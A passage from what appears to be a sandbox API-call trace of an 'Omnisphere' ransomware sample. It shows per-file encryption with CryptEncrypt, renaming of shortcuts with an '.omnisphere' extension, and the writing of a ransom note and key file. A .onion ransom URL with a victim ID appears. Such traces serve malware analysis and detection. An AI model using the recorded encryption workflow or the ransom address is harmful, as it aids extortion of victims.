pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.094] CryptDestroyKey (hKey=0x1639868) returned 1 [0115.094] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0115.094] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x932, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.094] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0115.094] GetProcessHeap () returned 0x1600000 [0115.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d4) returned 0x16878b0 [0115.094] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk.omnisphere")) returned 1 [0115.095] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.omnisphere.id" [0115.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.097] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0115.098] CloseHandle (hObject=0x3c0) returned 1 [0115.099] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.099] CloseHandle (hObject=0x288) returned 1 [0115.099] SetEndOfFile (hFile=0x28c) returned 1 [0115.100] FlushFileBuffers (hFile=0x28c) returned 1 [0115.104] CloseHandle (hObject=0x28c) returned 1 [0115.104] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 1 [0115.104] GetProcessHeap () returned 0x1600000 [0115.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1687b90 [0115.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.104] GetProcessHeap () returned 0x1600000 [0115.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f2d8 [0115.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f2d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.104] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.104] GetProcessHeap () returned 0x1600000 [0115.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f510 [0115.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f510, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.104] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.105] GetProcessHeap () returned 0x1600000 [0115.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1624a20 [0115.105] PathCombineW (in: pszDest=0x1624a20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" [0115.105] GetProcessHeap () returned 0x1600000 [0115.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1682a50 [0115.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.105] WriteFile (in: hFile=0x28c, lpBuffer=0x1682a50*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1682a50*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0115.105] CloseHandle (hObject=0x28c) returned 1 [0115.105] GetProcessHeap () returned 0x1600000 [0115.106] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1687b90 | out: hHeap=0x1600000) returned 1 [0115.106] GetProcessHeap () returned 0x1600000 [0115.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c5f8 [0115.106] PathCombineW (in: pszDest=0x162c5f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" [0115.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.106] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0115.106] CloseHandle (hObject=0x28c) returned 1 [0115.106] GetProcessHeap () returned 0x1600000 [0115.106] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c5f8 | out: hHeap=0x1600000) returned 1 [0115.106] GetProcessHeap () returned 0x1600000 [0115.106] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bdd8 | out: hHeap=0x1600000) returned 1 [0115.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c00c4b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa9c00c4b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xa9c995d7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Microsoft Outlook.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0115.107] GetProcessHeap () returned 0x1600000 [0115.107] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0115.107] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="Microsoft Outlook.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0115.107] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0115.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\microsoft outlook.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.108] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1303) returned 1 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.108] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] GetTickCount () returned 0x115cc93 [0115.109] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0115.110] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0115.110] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0115.110] CryptDestroyKey (hKey=0x16396e8) returned 1 [0115.110] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0115.110] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x517, lpName=0x0) returned 0x288 [0115.110] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x517) returned 0x1480000 [0115.113] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ac0) returned 1 [0115.113] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0115.113] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0115.113] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0115.113] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.114] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: 